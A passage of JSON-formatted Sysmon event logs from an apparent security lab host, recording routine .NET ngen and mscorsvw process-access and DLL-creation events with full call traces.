C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.807","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010F1971000}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8199,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.807\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010F1971000}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.807","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010F1971000}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8200,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010F1971000}\r\nTargetProcessId: 3976\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010F1971000}","TargetProcessId":"3976","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8201,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.869\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4327-5F2D-0000-00103C431000}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.869","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4327-5F2D-0000-00103C431000}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8202,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.869\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4327-5F2D-0000-00103C431000}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.869","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4327-5F2D-0000-00103C431000}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:01","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8203,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:01.885\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-4331-5F2D-0000-0010B29B1000}\r\nTargetProcessId: 3996\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:01.885","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-4331-5F2D-0000-0010B29B1000}","TargetProcessId":"3996","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":8204,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 12:04:02.135\r\nProcessGuid: {90617006-4331-5F2D-0000-0010B29B1000}\r\nProcessId: 3996\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nTargetFilename: C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f9c-0\\WindowsFormsIntegration.dll\r\nCreationUtcTime: 2020-08-07 12:04:02.135","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 12:04:02.135","ProcessGuid":"{90617006-4331-5F2D-0000-0010B29B1000}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","TargetFilename":"C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Temp\\f9c-0\\WindowsFormsIntegration.dll","CreationUtcTime":"2020-08-07 12:04:02.135","EventReceivedTime":"2020-08-07 12:04:02","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8205,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.166\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4876\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-0010F7A01000}\r\nTargetProcessId: 4804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.166","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-0010F7A01000}","TargetProcessId":"4804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:04:02","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8206,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:04:02.166\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-4332-5F2D-0000-0010F7A01000}\r\nTargetProcessId: 4804\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:04:02.166","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-4332-5F2D-0000-0010F7A01000}","TargetProcessId":"4804","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:04:03","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 